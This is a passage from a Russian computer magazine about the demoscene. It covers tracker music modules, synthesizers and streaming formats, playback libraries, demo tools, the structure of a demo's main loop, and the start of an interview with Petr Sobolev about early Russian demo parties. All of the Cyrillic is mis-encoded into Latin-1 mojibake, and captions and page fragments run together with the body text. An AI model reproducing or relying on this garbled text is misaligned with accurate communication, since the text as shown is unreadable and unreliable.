ìóçûêàëüíûå ìîäóëè. Ìîäóëü —ýòî ôàéë, êîòîðûé õðàíèò âíóòðè ñåáÿ îáðàçöûçâóêîâ èíñòðóìåíòîâ (ñýìïëû) è íîòû, êîòîðûå íåîáõîäèìîñûãðàòü ýòèìè èíñòðóìåíòàìè. Ìîäóëèñîçäàâàëèñü â ñïåöèàëüíûõ ïðîãðàììàõ — òðåêêåðàõ.Òðåêêåð ïðåäñòàâëÿåò ñîáîé ïðîãðàììó, â êîòîðîéìîæíî ðåäàêòèðîâàòü ìîäóëè â âèäå âåðòèêàëüíûõäîðîæåê ñ íîòàìè (ïàòòåðíîâ) è îñóùåñòâëÿòüóïðàâëåíèå ñýìïëàìèè è ýôôåêòàìè.Êëàññè÷åñêèé ìîäóëüíûé ôîðìàò ýòî MOD:ìîíîôîíè÷åñêèå ñýìïëû ïî 8 áèò è âîçìîæíîñòüâîñïðîèçâåñòè ìàêñèìóì 4 çâóêà îäíîâðåìåííî. ×ÅÌ ÕÐÀÍÈÒÜ ÇÂÓÊ ÄÅÌÊÀÕ?Ìîäóëü{+} çàíèìàåò ìàëî ìåñòà. Íå òðåáóåò âûñîêèõâû÷èñëèòåëüíûõ ìîùíîñòåé{-} ïîäõîäèò òîëüêî äëÿ ÷èñòîé ìóçûêèÏîòîê{+} ëþáîå ñîäåðæàíèå, õîòü 10-ìèíóòíàÿ çàïèñü÷èõàþùåé áîëüíîé îáåçüÿíû. Íå òðåáîâàòåëåíê âû÷èñëèòåëüíûì ðåñóðñàì è ïàìÿòè{-} âûñîêîå êà÷åñòâî — áîëüøîé ðàçìåð ôàéëàÑèíòåçàòîð{+} èñêëþ÷èòåëüíîå êà÷åñòâî çâóêà, åñëè ðóêèíå êðèâûå{-} ñëîæíîñòü ðåàëèçàöèè è çíà÷èòåëüíî áîëååâûñîêèå ñèñòåìíûå òðåáîâàíèÿ«the.popular.demo» îò Farbrausch


82 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07ÏÎÏÓËßÐÍÛÅÄÅÌÎÒÓËÇÛ{Werkkzeug}www.theprodukkt.coàll-in-one, âêëþ÷àÿäàæå ñðåäñòâî îòêîìàðîâ{Moppy Demopaja}http://demopaja.orgóäîáíîå óïðàâëåíèåñöåíàìè, íî õàëòóðàíå ïðîéäåò — âñå plugin'ûïðèäåòñÿ íàïèñàòüñàìîìó{Neon v2}http://neonv2.comê äåìîñèñòåìåñóùåñòâóåò áîëüøîåêîëè÷åñòâî ïëàãèíîâè ýôôåêòîâ, íî äðóãèåâàðèàíòû áîëåå ãèáêèè ôóíêöèîíàëüíû{Plasticator}http://plasticator.heroez.neîòå÷åñòâåííûé ïðîåêò,ïðåäëàãàåò î÷åíüìíîãîå è ñðàçó,ãëàâíîå —íå çàïóòàòüñÿâ èíòåðôåéñåÑîâðåìåííûå ìîäóëüíûå ôîðìàòû ïîçâîëÿþò ïðàêòè÷åñêèçàáûòü î òàêèõ ðóäèìåíòàðíûõ îãðàíè÷åíèÿõïàðàìåòðîâ ñýìïëîâ è êîëè÷åñòâà âîñïðîèçâîäèìûõîäíîâðåìåííî êàíàëîâ. Ìîäóëüíàÿ ìóçûêà ïîçâîëÿåòïîëó÷èòü âûñîêîå êà÷åñòâî çâó÷àíèÿ (äàæåâûøå ÷åì mp3-style ôîðìàòàõ). Ñìîòðèì è âíèìàòåëüíîñëóøàåì êà÷åñòâî ñàóíäðåêà â äåìêàõ ñ ìîäóëüíîéìóçûêîé: Haujobb — «disclone» è «íàø» îòâåòáóðæóÿì: T-Rex — «broadband». Íàèáîëåå ðàñïðîñòðàíåíûó äåìîìåéêåðîâ ñëåäóþùèå ôîðìàòûìîäóëüíîé ìóçûêè: IT — Impulse Tracker v2.14, XM —FastTracker 2. Îáå ïðîãðàììû åùå DOS'îâñêèõ âðåìåí,õîòÿ åñòü è win+linux êëîíû äëÿ IT — Schismtracker, äëÿ XM — Fast Tracker 3. Òèïè÷íûé ðàçìåðìóçûêàëüíîãî ìîäóëÿ 200-2000 Êá.Òåì âðåìåíåì ìîùíîñòè êîìïüþòåðîâ ðîñëè(è ðàñòóò) ïîñòîÿííî. Êòî-òî ñêàçàë: «À ïî÷åìó áû èíåò?» è ñäåëàë ñèíòåçàòîð äëÿ ÏÊ. Ñèíòåçàòîð ãåíåðèðóåòîãèáàþùèå ïî íåêîòîðûì çàêîíàì è ïðèìåíÿåòê íèì ðàçëè÷íûå ôèëüòðû, äýëýè è ýôôåêòû. äåìêå òåáå áóäåò íåîáõîäèìî õðàíèòü êîäñàìîãî ñèíòåçàòîðà (ïëååðà) è íàáîð ïàðàìåòðîâê íåìó. Ýòî õîçÿéñòâî çàíèìàåò î÷åíü ìàëî ìåñòà,÷òî íàì, áåçóñëîâíî, íà ðóêó. Ñèíòåçàòîð ïîçâîëÿåòïîëó÷èòü èñêëþ÷èòåëüíî âûñîêîå êà÷åñòâî çâóêà, íîòðåáóåò çíà÷èòåëüíûõ âû÷èñëèòåëüíûõ ðåñóðñîâ(ôðàçó ïîñëå çàïÿòîé â 21 âåêå ïðèíÿòî îïóñêàòü, äàè íèêòî íå îòìåíÿë prerendering). Äëÿ òåõ, êòî íå âåðèòâ êà÷åñòâî ñèíòåçàòîðîâ, — êà÷àåì è ñëóøàåìäåìêè: Farbrausch — «fr-34», AOS — «offworld» (ìåæäóïðî÷èì, ðàáîòà-ïîáåäèòåëü äåìîïàòè CC-2006â Ïèòåðå, hi to Preston & UNC!). Ïîäðîáíîå îïèñàíèåðàáîòû ìóçûêàëüíîãî ñèíòåçàòîðà ÿâíî âûõîäèò çàðàìêè ýòîé ñòàòüè, äà è ðàññêàçûâàòü îá ýòîì äîëæíûëþäè, êîòîðûå ñàìè ïèñàëè ñèíòåçàòîðû, òàê ÷òîèùåì âñå â èíòåðíåòå. À çàâåðøàþò ðàçíîîáðàçèåôîðìàòîâ ìóçûêè â äåìêàõ ïîòîêîâûå ôîðìàòû:mp3, ogg, wma. ×òî èìåííî âûáðàòü — ðåøàòü èñêëþ÷èòåëüíîòåáå.  àáñîëþòíîì áîëüøèíñòâå ñîâðåìåííûõäåìîê èñïîëüçóåòñÿ ïîòîêîâûé ôîðìàòìóçûêè. Òàê áûñòðåå, óäîáíåå è íèêòî íå óêðàäåòñýìïëîâ èç íàøèõ ìîäóëåé :). Óäàðèòü ïî çâóêîâûìðåöåïòîðàì ïîìîãóò ñàóíäòðåêè èç äåìîê: mfx —«deiteies», kewlers — «a significant deformation nearthe cranium». âîñïðîèçâåäåíèè ñàóíäòðåêà íåò íè÷åãîñëîæíîãî. Êîíå÷íî, ñàìûå ñìåëûå è îïûòíûå ïðîãðàììåðûïèøóò âñå ñàìè, íî íåò íè÷åãî çàçîðíîãîâ èñïîëüçîâàíèè êà÷åñòâåííûõ ñòîðîííèõ èíñòðóìåíòîâ.Íàèáîëåå ðàñïðîñòðàíåíû áèáëèîòåêèBass (êñòàòè, ýòó áèáëèîòåêó ÿ êîãäà-òî îïèñûâàë íàñòðàíèöàõ Êîäèíãà — ïðèì. Ëîçîâñêîãî) îò Ian Luckè fMod îò Firelight multimedia. Îáå àáñîëþòíî áåñïëàòíûäëÿ íåêîììåð÷åñêèõ ïðèëîæåíèé è ïðåäëàãàþòâ öåëîì îäèíàêîâûé íàáîð ôóíêöèé.  ýòèõáèáëèîòåêàõ åñòü âðàïïåðû ïîä âñå îñíîâíûå ÿçûêèïðîãðàììèðîâàíèÿ è ïëàòôîðìû. Èñïîëüçóÿ ýòèáèáëèîòåêè, òû ëåãêî ïðîèãðàåøü ñâîè ìîäóëè èëèmp3’øêè äàæå íå çàäóìûâàÿñü î òîì, êàêîé çâóêîâîéàäàïòåð ó òåáÿ ñòîèò. Äîïîëíèòåëüíî Bass ïîääåðæèâàåòêîìïðåññèðîâàííûå ñ ïîìîùüþ òåõíîëîãèèmpeg ìóçûêàëüíûå ìîäóëè MO3, à fMod ìíåíðàâèòñÿ ïî ïðè÷èíå ïðîñòîòû ñèíõðîíèçàöèè. Êðîìåòîãî, åñòü âåðñèÿ MinifMod, êîòîðàÿ èñïîëüçóåòñÿäëÿ ïðîèãðûâàíèÿ ìîäóëåé â ìàëîðàçìåðíûõäåìêàõ è èíòðàõ ñ ñèíòåçèðîâàííûìè ñýìïëàìè.À âîò ñ «÷èñòûìè» ñèíòåçàòîðàìè ñëîæíåå.  ðàçäåëådemotools íà www.pouet.net åñòü public-ñèíòåçàòîðû,íî îíè âñå î÷åíü ðàçíûå, è ïåðåä ðåàëüíûìèñïîëüçîâàíèåì ïðèäåòñÿ èõ äîñêîíàëüíî èçó÷àòü.êàê âñå ýòî ðàáîòàåò âìåñòå? Ñåé÷àñ ÿ ïîïðîáóþðàññêàçàòü î òîì, êàê ðàáîòàåò generic-äåìêàíà ôóíêöèîíàëüíîì óðîâíå. Ïî õîäó îáúÿñíåíèÿó ìåíÿ áóäåò ïîÿâëÿòüñÿ æåëàíèå ïèñàòü ñðàçó êóñêèêîäà, íî ÿ ïåðåáîðþ ñåáÿ è ïîïðîáóþðàñòîëêîâàòü âçàèìîäåéñòâèå ðàçëè÷íûõ ýëåìåíòîâäåìêè íà óðîâåíü âûøå, à êîíêðåòíûå ïðèìåðûðåàëèçàöèé òû ïîäñìîòðèøü ñàì èç ïðèìåðîâNeHe. Äëÿ íà÷àëà — ïîñìîòðè íà êàðòèíêó «Ñõåìàðåàëèçàöèè».Âñå íà÷èíàåòñÿ ñ èíèöèàëèçàöèè ãðàôè÷åñêîéïîäñèñòåìû. Ìîæíî ñíà÷àëà çàãðóçèòü äàííûå, íîêàê òû òîãäà íàðèñóåøü êðàñèâûé progressbar? Ïîýòîìóáóäåì ïîñëåäîâàòåëüíû. Õîðîøèì òîíîì ÿâëÿåòñÿïðåäîñòàâëåíèå ïîëüçîâàòåëþ âîçìîæíîñòè äîçàïóñêà äåìêè âûáðàòü õîòÿ áû ðàçðåøåíèå ýêðàíà.Êàê âàðèàíò — ìîæíî ñäåëàòü îòäåëüíûé êîíôèãóðàòîð(îòäåëüíàÿ ïðîãðàììà), à äåìêà áóäåò óæå çàïóñêàòüñÿïî àêòèâíûì íàñòðîéêàì. Åñëè òû ïèøåøü64Ê èëè ïðîñòî ëåíèâ, êàê ñûòàÿ àíàêîíäà, òîñêîìïèëèðóé íåñêîëüêî .exe ñ ðàçëè÷íûìè íàñòðîéêàìè.Íàïðèìåð, demo_fullscreen.exe è demo_window.exe.Îäíàêî ÷òî-òî ìû îòîøëè îò ñóòè.Ïðè èíèöèàëèçàöèè îáÿçàòåëüíî ñìîòðè íà êîäûâîçâðàòà îøèáîê. Ëó÷øå îïðåäåëèòü âîçìîæíîñòèñèñòåìû ïîëüçîâàòåëÿ çàðàíåå, ÷åì çàñòàâëÿòüåãî æäàòü ïðîöåññà çàãðóçêè è ïåðâîãî «âûâàëèâàíèÿ»ïî îøèáêå. Äëÿ OpenGL ñàìàÿ îòâåòñòâåííàÿ÷àñòü — ýòî âûáîð pixelformat. Òàêæå ïîäâîäíûé êàìåíüìîæíî íàéòè ïðè óñòàíîâêå ïîëíîýêðàííîãîÈíòðà Fr-08 : «The Produkkt»


83âèäåîðåæèìà — íå ñòîèò ïðûãàòü â âèäåîðåæèì ñcustom framerate. Ïåðåêëþ÷àéñÿ íà ëþáîé äîñòóïíûéðåæèì ñ äàííûì ðàçðåøåíèåì. Ïðîùå ãîâîðÿ— íå íàäî 640x480@100, íàäî 640x480@default.Ñëåäóþùèé øàã — çàãðóçêà äàííûõ. Äàííûåìîæíî õðàíèòü â îòäåëüíûõ ôàéëàõ, â áîëüøèõ single-fileïàêàõ, â .exe-ðåñóðñàõ èëè äàæå â ñåãìåíòåêîäà. Êàê èìåííî — ðåøàòü òåáå. Åñëè õðàíèòüâíóòðè .exe, òî íå íàäî äóìàòü íàñ÷åò óïàêîâêè —âñåãäà åñòü UPX èëè ASPack. Õîðîøèì ðåøåíèåìÿâëÿåòñÿ õðàíåíèå äàííûõ â ïîïóëÿðíûõ àðõèâíûõôîðìàòàõ ZIP, RAR.  òàêîì ñëó÷àå òåáå ïîíàäîáèòñÿñîîòâåòñòâóþùàÿ áèáëèîòåêà äåêîìðåññèè.Êàê ïðèìåð ìîæíî ïðèâåñòè unique — unRar library(http://www.unrarlib.org). Äîëæåí ñðàçó ïðåäóïðåäèòüòåáÿ, ÷òî äåëàòü âðåìåííûå ôàéëû ïðè ðàñïàêîâêåè çàãðóçêå äåìêè — ýòî ñòðàøíîå çëî. Õîòÿ, åñëè òûêóëüòóðíî ïîëó÷èøü ñèñòåìíûé temporary file, òî…Íåò, âñå ðàâíî çëî. Íàøà äåìêà äîëæíà ðàñïàêîâûâàòüâñå ñðàçó â ïàìÿòü, òàê, ÷òîáû åå ìîæíî áûëîáåçáîëåçíåííî çàïóñêàòü äàæå ñ êîìïàêò-äèñêà.Ñëåäóþùèé ýëåìåíò — ÷àùå âñåãî, ñàìûéñëîæíûé äëÿ íîâè÷êîâ. Ïåðåä òåì êàê íà÷èíàòü ïèñàòüñâîþ äåìêó, ÿ íàñòîÿòåëüíî ðåêîìåíäóþ òåáåïîïðîáîâàòü íàïèñàòü òåòðèñ (÷åðåç ýòî äîëæåíïðîéòè êàæäûé ïðîãðàììèñò :) — ïðèì. Ëîçîâñêîãî).Äà-äà, èìåííî îáûêíîâåííûé òåòðèñ. Î÷åíü ìíîãîñõîæèõ ýëåìåíòîâ, äà è îïûòà ïðîãðàììèðîâàíèÿýòî äîáàâèò. ß ñåðüåçíî! Îòìàçêè â ñòèëå «ÿ ðàáîòàþòîëüêî ñ áàçàìè äàííûõ, çà÷åì ìíå ýòîò òåòðèñ?»ïëîõî ñêðûâàþò òî, ÷òî ÷åëîâåê íà ñàìîì äåëåäàæå íå ïðåäñòàâëÿåò, êàê ýòî äåëàåòñÿ. Ïîçâîëþñåáå è òóò ââåðíóòü íåñêîëüêî ïîëåçíûõ ñîâåòîâ. íà÷àëå êàæäîãî íîâîãî êàäðà ìû äîëæíû óçíàòüòåêóùåå âðåìÿ îò íà÷àëà ïðîèãðûâàíèÿ ìóçûêè.Åñëè òû èñïîëüçóåøü fMod, òî îí ìîæåò îòäàòü íàìòåêóùåå âðåìÿ â ïðîèãðûâàåìîì ôàéëå, äëÿ äðóãèõñëó÷àåâ íàäî èñïîëüçîâàòü gettickcount èëèQueryPerfomanceTimer ñ ó÷åòîì ñòàðòîâîãî òèêà. Òî÷íîñòüGettickcount ïëàâàåò îò ñèñòåìû ê ñèñòåìåâ çëîì äèàïàçîíå äî 10 ì, ÷òî ïðåäñòàâëÿåò ñîáîéìàêñèìóì 100FPS, à RTDS íå ïîääåðæèâàåòñÿ íàïðîöåññîðàõ íèæå iP3, äà è íà íîóòáó÷íûõ ìîáèëüíûõêàìåøêàõ ÷àñòåíüêî îòìà÷èâàåò åùå òå ïðèêîëû.Äàëåå ìû íàõîäèì òó ñöåíó, êîòîðàÿ äîëæíàáûòü âèäíà â êîíêðåòíûé ìîìåíò âðåìåíè è ðèñóåìåå. Îáðàòè âíèìàíèå, ÷òî íàèáîëåå óäîáíî âûçûâàòüñöåíó â åå ëîêàëüíîì âðåìåíè. Íàïðèìåð, âðåìÿíà íà÷àëî êàäðà — 13.5 ñåêóíäû, à ñöåíà äîëæíàèäòè ñ 10-é ñåêóíäû ïî 15-þ. Èòîãî: ìû ïåðåäàåìýòîé ñöåíå çíà÷åíèå âðåìåíè â èíòåðâàëå îò 0 äî1, — äëÿ äàííîãî ïðèìåðà ýòî áóäåò (13.5-10)/(15-10)=0,7. Èñïîëüçîâàíèå íîðìàëèçèðîâàííîãî ëîêàëüíîãîâðåìåíè î÷åíü óäîáíî. Äàëüøå — áîëüøå! ïðÿìîì ñìûñëå. Åñëè äåëàòü ïëàâíûå ïåðåõîäûìåæäó ñöåíàìè èëè «ìåñèâî» èç íåñêîëüêèõ ñöåí, òîíåîáõîäèì äîïîëíèòåëüíûé ìåíåäæåð ñöåí èëèâèðòóàëüíàÿ ñöåíà, êîòîðàÿ íè÷åãî íå áóäåò äåëàòü,êðîìå êàê âûçûâàòü èç ñåáÿ ïðîðèñîâêó äðóãèõ ñöåíè ñìåøèâàòü ðåçóëüòàò, à â ñàìîì êîíöå ýòîãî ýëåìåíòàìîæíî ñäåëàòü èòîãîâûé ïîñòïðîöåññèíã,ÂÅÑÜ ÑÒÀÔÔ È ÄÅÌÊÈ Ê ÝÒÎÉ ÑÒÀÒÜÅÆÄÓÒ ÒÅÁß ÍÀ ÍÀØÅÌ ÊÎÌÏÀÊÒ-ÄÈÑÊÅ123ÏÐÈÌÅÐÛ ÐÅÍÄÅÐÎÂ{1} cîôòâàðmatrix — «the fulcrum» — ïîòðÿñàþùèé ñîôòâàðíûéðåíäåð îáðàçöà êîíöà 90-õ. ×óâñòâóåòñÿ,÷òî âîçìîæíîñòè äåòàëèçàöèè èçîáðàæåíèÿäèêòîâàëèñü ëèøü ñóùåñòâóþùèìè 166mhz ïíÿìè.Äèíàìè÷åñêîå îñâåùåíèå, òåíè, îáúåìíûé ñâåò,àíèìàöèÿ ìîäåëåé — è âñå ýòî ñ÷èòàåòñÿ òîëüêîíà ïðîöåññîðå!{2} ðýéòðåéñåðfan — «still sucking nature» — ãîä âûïóñêà 2003,íî äàæå ñåé÷àñ ýòî íå÷òî!  èíôîðìàöèè ïî ïðîåêòóñîçäàòåëè óòâåðæäàþò, ÷òî ïûòàëèñü ñäåëàòüèìåííî ôîòîðåàëèñòè÷íóþ êàðòèíêó â ðåàëüíîìâðåìåíè.{3} õàðäâàð«rgba» — paradise, ïðîñòî êðàñèâàÿ íåáîëüøàÿèíòðà ñ ïî÷òè æèâîé òðàâîé è íàñòîÿùèìèíîñîðîãàìè! Âñåãî ëèøü 56 êá!íàïðèìåð, ìîäíûé íûí÷å glow\bloom. Äàëåå — áûñòðåíüêîñìîòðèì, íàæàë ëè ìåðçêèé þçåð êëàâèøóÅsc, è íå çàêîí÷èëàñü ëè åùå ìóçûêà. Åñëè íåò —ïîâòîðÿåì âåñü öèêë îòðèñîâêè êàäðà.À äëÿ òîãî, ÷òîáû îñòàâèòü õîðîøåå âïå÷àòëåíèåîò ïðîñìîòðà è ïðè ýòîì íå îñòàâèòü «õâîñòîâ»â ïàìÿòè — àêêóðàòíî óáèðàåì çà ñîáîé, õîòÿåñëè «áðîñèòü» äåâàéñû, êîíòåêñòû è òåêñòóðûâ D3D èëè OpenGL — òî íè÷åãî ñòðàøíîãî íå ñëó-÷èòñÿ. Íî áóäåì êóëüòóðíåå :). Õîòÿ áû ÷óòü-÷óòü.ñonclusion èëè íåñêîëüêî ñëîâ âäîãîíêó. Òàêóæ ïîëó÷èëîñü, ÷òî íàøå îïèñàíèå âíóòðåííîñòåéäåìêè âûøëî äîñòàòî÷íî ñóìáóðíûì, â ñòèëå «ãàëîïîì-ïî-Åâðîïàì».Íî íå áîãè ãîðøêè îáæèãàþò,äà è äåìêè, ïóñòü äàæå ñàìûå êðóòûå, äåëàþò ñàìûåîáûêíîâåííûå òàëàíòëèâûå ëþäè. Äàæå åñëèòû íå ïðîãðàììèñò è íå ïðåäñòàâëÿåøü â äåòàëÿõhow does it work — íè÷åãî ñòðàøíîãî: åñòü ðàçëè÷íûåäåìîñèñòåìû, ãäå îò òåáÿ áóäåò òðåáîâàòüñÿòîëüêî êðåàòèâ è êëèêè ìûøêîé â íóæíûõìåñòàõ. Ãëàâíîå — ýòî æåëàíèå òâîðèòü. À ñòàòüÿ,â êîòîðîé ÿ ñàìûì ïîäðîáíûì îáðàçîì ðàçáåðóïðîãðàììèðîâàíèå äåìêè, æäåò òåáÿ â ýòîì æå íîìåðå.Êñòàòè, ìåíåå ÷åì ïîëãîäà îòäåëÿåò íàñ îòáëèæàéøèõ ðîññèéñêèõ äåìîïàòè: DiHalt â Íèæåìè ChaosConstructions â Ïèòåðå…


84 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07èíòåðâüþñ ÏåòðîìÑîáîëåâûìÏÐÅÄÑÒÀÂËßÅÌ ÒÂÎÅÌÓ ÂÍÈÌÀÍÈÞ ÈÍÒÅÐÂÜÞÑ ÍÀÑÒÎßÙÈÌ ÑÒÀÐÎÆÈËÎÌ ÎÒÅ×ÅÑÒÂÅÍÍÎÉ ÄÅÌÎ-ÑÖÅÍÛ. ÍÅ ÁÓÄÓ ÐÀÑÊÐÛÂÀÒÜ ÂÑÅÕ ÑÅÊÐÅÒΠCÐÀÇÓ,ËÈØÜ ÑÊÀÆÓ, ×ÒÎ ÍÀ ÎÒÅ×ÅÑÒÂÅÍÍÎÉ ÑÖÅÍÅÎÍ Ñ 1993 ÃÎÄÀ È ÈÌÅÅÒ ÎÒÍÎØÅÍÈÅ Ê ÑÀÌÛÌÇÍÀÊÎÂÛÌ ÂÅÕÀÌ ÅÅ ÆÈÇÍÈÈíòåðâüþ áðàëÀëåêñàíäð ËîçîâñêèéQ: Ïðèâåòñòâóþ! Ïðåäëàãàþ òàêîé ïëàí áåñåäû:ñíà÷àëà î òåáå, çàòåì — î äåìîñöåíå â öåëîì,è íàêîíåö — î òåáå è î äåìîñöåíå.A: Äàâàé, ñïðàøèâàé.Q: Äëÿ íà÷àëà — èìÿ, ôàìèëèÿ, ïðîôåññèÿ.A: Ïåòð Ñîáîëåâ, çàíèìàþñü IT â øèðîêîì ñìûñëåñëîâà. Îò÷àñòè ðóêîâîæó, îò÷àñòè ñàì çàíèìàþñüïðîãðàììèðîâàíèåì, äèçàéíîì. Ïðåèìóùåñòâåííîäëÿ èíòåðíåòà. Âîçðàñò — 33 ãîäà.Q: Ðàññêàæè êðàòêî î ñåáå â ïëàíå îòíîøåíèÿê äåìîñöåíå, ÷òîáû ÷èòàòåëþ ñòàëî ÿñíî, ïî÷åìóÿ áåðó èíòåðâüþ èìåííî ó òåáÿ.A: Äàâíî, â 1993 èëè 1994 ãîäó ìû ñ äðóçüÿìè îðãàíèçîâàëèãðóïïó Realm Of Illusion è âûïóñòèëèíåñêîëüêî âåùåé — â ÷àñòíîñòè, ýëåêòðîííûéæóðíàë (diskmag) «iNFUSED BYTES», êîå-êàêèåintro, óòèëèòû. 1995 îðãàíèçîâàëè è ïðîâåëè ïåðâóþ âáûâøåì ÑÑÑÐ demo party — ENLIGHT'95 (Ñàíêò-Ïåòåðáóðã).Q: Âåñüìà îðãàíè÷íî ðàçãîâîð ïåðåøåë â ðóñëîèñòîðèè äåìîñöåíû â Ðîññèè. Âû áûëèïåðâîîòêðûâàòåëÿìè?A: Ìû îòêðûëè äâåðè èìåííî äëÿ demo party â Ðîññèè.Íî ÷òî êàñàåòñÿ intro è demo, òî ïåðâûå èíòåðåñíûåðîññèéñêèå ðàáîòû — íå íàøè, óâû.Q: Èíòðî — èìåþòñÿ â âèäó ãðàôè÷åñêèå çàñòàâêèäëÿ ïðîã è êðýêîâ?A: Íå ñîâñåì. Òàêîâûìè îíè áûëè â èçíà÷àëüíîì,îðèãèíàëüíîì ïîíèìàíèè ýòîãî ñëîâà. Åùå íà 8-áèòíûõ ìàøèíêàõ — Commodore 64, Amiga. Íà PCïîíÿòèå intro óæå îçíà÷àëî ñàìîñòîÿòåëüíóþ ìàëåíüêóþdemo.Q: À ÷òî èçâåñòíî ïðî ïåðâóþ ðóññêóþ èíòðî,äåìó? Èëè åñòü òîëüêî ïðåäïîëîæåíèÿ?A: Ýòî êàê ñ ïåðâûì ÷åëîâåêîì íà Çåìëå. Íè÷åãîíå ìîãó òî÷íî ñêàçàòü. Ïðîñòî ïîòîìó, ÷òî ãðàíèöàìåæäó êàêèì-òî çàïðîãðàììèðîâàííûì ïðîñòåíüêèìâèäåîýôôåêòîì è èíòðî/äåìî — î÷åíü íå÷åòêàÿ.Ëè÷íî ìíå èç ñòàðûõ îòå÷åñòâåííûõ ðàáîò çàïîìíèëàñüFireworks è Cross.Q: Êñòàòè, ìíå, êàê ÷åëîâåêó, íà÷èíàâøåìóðàáîòó çà ÝÂÌ êàê ðàç ñ Ìèêðîø è Êîììîäîðîâ,èíòåðåñíî íåìíîãî ïîñëóøàòü ïðî èíòðû äëÿ íèõ.Íåò ëè ÷åãî îñîáî çàïîìíèâøåãîñÿ?A: ß ñàì íà÷èíàë ñ Commodore 64. Ìèêðîøè è Ñïåêòðóìûêàê-òî îáîøëè ñòîðîíîé (õîòÿ ÿ èõ âèäåë,ïðåäñòàâëÿë, êàê îíè óñòðîåíû è äàæå íåìíîãîïðîãðàììèðîâàë íà íèõ).Íà C64 åñòü ìíîãî î÷åíü õîðîøèõ ðàáîò, íî áîþñü,÷òî ìàëî êîìó èõ íàçâàíèÿ ÷òî-òî ñêàæóò (äà åñëèäàæå è ñêàæóò, ïî òåïåðåøíèì âðåìåíàì îíèñìîòðÿòñÿ íåñêîëüêî ñòðàííî). Ìîãó íàçâàòü Place in


85Space ãðóïïû Taboo, Red Storm by Triad, Wonderland,Lights by Censor Design, Legoland by Fairlight.Q: Åñëè óæ ãîâîðèòü îá îëäñêóëüíûõ âðåìåíàõ, òîêàê òû îòíîñèøüñÿ ê äåìêàì â âèðóñàõ? Ïîìíþ,âèäåë ÷òî-òî ïîäîáíîå â 90-õ, òîëüêî íàçâàíèÿ íåñîõðàíèë. Ìîæåò, ðàññêàæåøü î ïàðî÷êå?A: Âïåðâûå ñëûøó ïðî òàêîå. Íî ïîñêîëüêó ê âèðóñàìÿ îòíîøóñü îòðèöàòåëüíî (äóìàþ, ÷òî èõ àâòîðûïðîñòî èçáðàëè ñåáå ïóòü ïîïðîùå), òî è ê äåìêàìâ íèõ õîðîøî îòíåñòèñü íå ñìîãó.Q: Òðóäíî ñîãëàñèòüñÿ ïî ïîâîäó ïðîñòîãî ïóòè,åñëè ó÷åñòü ñëîæíîñòü ïîëèìîðôèêîâ òåõâðåìåí… ×òî ñêàæåøü ïî ïîâîäó çíàêîâûõ ôèãóðäåìîìåéêèíãà íà Êîììîíäîðå? Îáùàëñÿ ñ êåì-òîëè÷íî? Ðàññêàæè.A: Øåäåâðû åñòü â ëþáûõ îáëàñòÿõ. Íî åñëè ñìîòðåòüâ öåëîì, òî ýòî ñïîñîá áûñòðî óâèäåòü âëèÿíèåñâîåé «ðàáîòû» íà øèðîêèé êðóã ëþäåé.  êàêîì-òîñìûñëå ýòî ïðèíîñèò óäîâëåòâîðåíèå. Íåìîãó ÿ îäîáðèòü òàêîãî ðîäà äåÿòåëüíîñòü. Âåðíåìñÿëó÷øå ê äåìêàì. ×òî êàñàåòñÿ ôèãóð: èç çàðóáåæíûõïåðñîí ÿ â òå âðåìåíà áðàë èíòåðâüþ(äëÿ iNFUSED BYTES) ó Bacchus/Fairlight. Ïîòîìïåðåïèñûâàëñÿ ñ GORE/Future Crew (îí òîãäà áûëîðãàíèçàòîðîì âî Future Crew, à èçâåñòíûé ñåé÷àñîðãàíèçàòîð Assembly — Abyss — áûë ñèñîïîìBBS). Íî ýòî áûëî, êîãäà ÿ óæå ïåðåøåë íà PC.Íà Commodore 64 ïðîñòî íå áûëî ñïîñîáîâ ñâÿçèêðîìå òåëåôîíà (ìåæäóãîðîäíèå çâîíêè áûëè íàìíå ïî êàðìàíó) è ïî÷òû (ïî íåé GhostRider, ìîéçíàêîìûé, èíîãäà ïåðåñûëàë 5.25" äèñêåòû). Ìîäåìûíà Commodore 64 áûëè îáû÷íî íà 160-300áîä, äà è òî ìàëîäîñòóïíû.Q: Êñòàòè, áûëî áû çäîðîâî çàëèòü ñòàðûåíîìåðà òâîåãî æóðíàëà íà íàø äèñê. ß äóìàþ,ó ìíîãèõ ÷èòàòåëåé ýòî âûçâàëî áû ñëåçóíîñòàëüãèè. À ÷òî íàñ÷åò ÐÑ? Íàñêîëüêî áóðíóþäåÿòåëüíîñòü òû ðàçâèë, ïåðåéäÿ íà ýòóïëàòôîðìó?A: Ñîáñòâåííî, âñå, î ÷åì ÿ ãîâîðèë â ïëàíå ðåëèçîâRealm Of Illusion — ýòî áûëî èìåííî íà PC. ÍàC64 ÿ ëèøü îñâàèâàë êîìïüþòåð, èçó÷àë Assembler(ïðîöåññîðà 6510), äðóãèå ÿçûêè.×òî êàñàåòñÿ æóðíàëîâ, òî îíè äîñòóïíûíà http://www.enlight.ru/roi, íî çàïóñòèòü èõ íà ñîâðå-


86 ÑÏÅÖ-TOPIC ÑÏÅÖ 02-07ìåííîì PC — äåëî ãèáëîå. Òîãäà äåìêè è äðóãèåïðîãðàììû ïèñàëèñü òàê, ÷òîáû ìàêñèìàëüíî ýôôåêòèâíîèñïîëüçîâàòü âîçìîæíîñòè ñëàáûõêîìïüþòåðîâ. À ýòî ïðîãðàììèðîâàíèå íà íèçêîìóðîâíå — çàïèñü è ÷òåíèå èç ïîðòîâ, ðàñ÷åò,ñêîëüêî òàêòîâ çàéìåò òà èëè èíàÿ èíñòðóêöèÿ…Q: Òî åñòü â ïëàíå äåìîìåéêèíãà òû áûë ñêîðååêîäåðîì? Åñëè òîãäà âîîáùå áûëî òàêîåðàçäåëåíèå íà êîäåðîâ è ò.ä.A: Ðàçäåëåíèå áûëî. Äà — ñêîðåå êîäåðîì. Òî÷íîíå ìóçûêàíòîì :). Ðèñîâàòü øðèôòû è êîå-êàêèåêàðòèíêè ïðèõîäèëîñü, íî ðåäêî. Ãðàôèêîé ó íàñçàíèìàëñÿ Lord Ville (Aux), à ìóçûêîé — JumboBigBug è Wind Dragon.Q: Ìåíÿ âå÷íî òÿíåò íà îëäñêóë: äàâàé ïîãîâîðèìî ïðîãðàììèðîâàíèè â òî âðåìÿ. Òû íà÷àëñ Àññåìáëåðà ïîä PC? À íà áîëåå âûñîêèõÿçûêàõ ïðèõîäèëîñü ïèñàòü äåìû?A: ß íà÷èíàë ñ BASIC íà C64. Òîãäà 